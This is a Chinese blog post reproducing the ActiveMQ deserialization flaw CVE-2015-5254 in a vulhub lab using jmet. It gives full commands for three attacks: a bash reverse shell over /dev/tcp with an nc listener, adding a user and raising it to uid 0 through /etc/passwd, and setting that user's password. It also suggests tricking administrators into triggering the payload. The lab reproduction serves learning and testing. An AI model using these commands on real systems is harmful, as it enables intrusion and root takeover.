Loading

CVE-2015-5254 ActiveMQ反序列化漏洞

0X00-引言


听闻广陵不知寒,大雪龙骑下江南。总管的书没话说,好的不行,骗得了几滴热泪,也读得了几分仁义道德,技术活,当赏!

0X01-漏洞描述与环境搭建


01-漏洞描述

漏洞编号:CVE-2015-5254

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。

02-环境搭建

靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

项目地址:https://github.com/vulhub/vulhub

搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

环境运行后,将监听61616和8161两个端口其中61616是工作端口,消息在这个端口进行传递; 8161是网络管理页面端口访问http://your-ip:8161即可看到网络管理页面,不过这个漏洞理论上是不需要网络的。

使用浏览器直接访问activemq,查看是否部署完毕

http://192.168.234.128:8161/admin/ (默认账号密码admin/admin)

image-20211129104252697

0X02-漏洞复现


01-利用过程

利用流程:

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问的Web管理页面,读取消息,触发漏洞

jmet进行漏洞利用:

首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。

jmet的GitHub地址:

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
02-创建tmp/success

使用jmet进行攻击

执行命令

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.234.128 61616

执行命令之后会给目标添加一个事件的队列,查看队列

http://192.168.234.128:8161/admin/browse.jsp?JMSDestination=event

image-20211129105611566

点击ID触发命令执行

image-20211129105709311

进入靶机docker中查看命令执行是否成功

docker exec -it  e8cb4850afc6  /bin/bash

image-20211129110147732

创建成功

image-20211129110315988

退出docker命令 exit

image-20211129110437900

03-反弹shell

直接执行命令没有反弹成功

需要将反弹shell的代码反序列化

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.234.128/1234  0>&1" -Yp ROME 192.168.234.128  61616

加密网址:http://www.jackson-t.ca/runtime-exec-payloads.html

image-20211129144933561

NetCat安装

yum -y install nmap-ncat  #安装
nc -version  #查看版本

nc监听反弹shell

nc -lvvp 1234

开启监听后点击队列消息,点击之后再返回页面可以把队列删除,反弹的shell依然存在

image-20211129145347280

成功image-20211129145537344

值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

04-添加用户

执行命令在root组内添加test用户

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "useradd -g root -s /bin/bash -u 10010 test" -Yp ROME  192.168.234.128  61616

点击事件队列http://192.168.234.128:8161/admin/browse.jsp?JMSDestination=event

可以在/etc/passwd中查看到test用户image-20211129150900630

将passwd中的test的uid修改为0,使它拥有root权限,再点击一下事件队列

 java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "sed -i "s/test:x:10010/test:x:0/g" /etc/passwd" -Yp ROME  192.168.234.128  61616

修改成功

image-20211129151303420

再为test用户设置一个密码,再点击一次消息队列

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "echo "test:sd123456" | chpasswd" -Yp ROME   192.168.234.128  61616

各位,在这里,一个名为test,密码为123456,权限为root的用户已经生成,用SSH登录系统,为root权限,注意此用户为docker容器内的用户,与CentOS Linux 7 无关,所以连接不上😁

0X03-参考文献


[ActiveMQ反序列化漏洞(CVE-2015-5254)复现]

ActiveMQ 反序列化漏洞(CVE-2015-5254)

【CVE】CVE-2015-5254:ActiveMQ 反序列化漏洞利用

posted @ 2021-11-29 22:06  美式加糖  阅读(838)  评论(0)    收藏  举报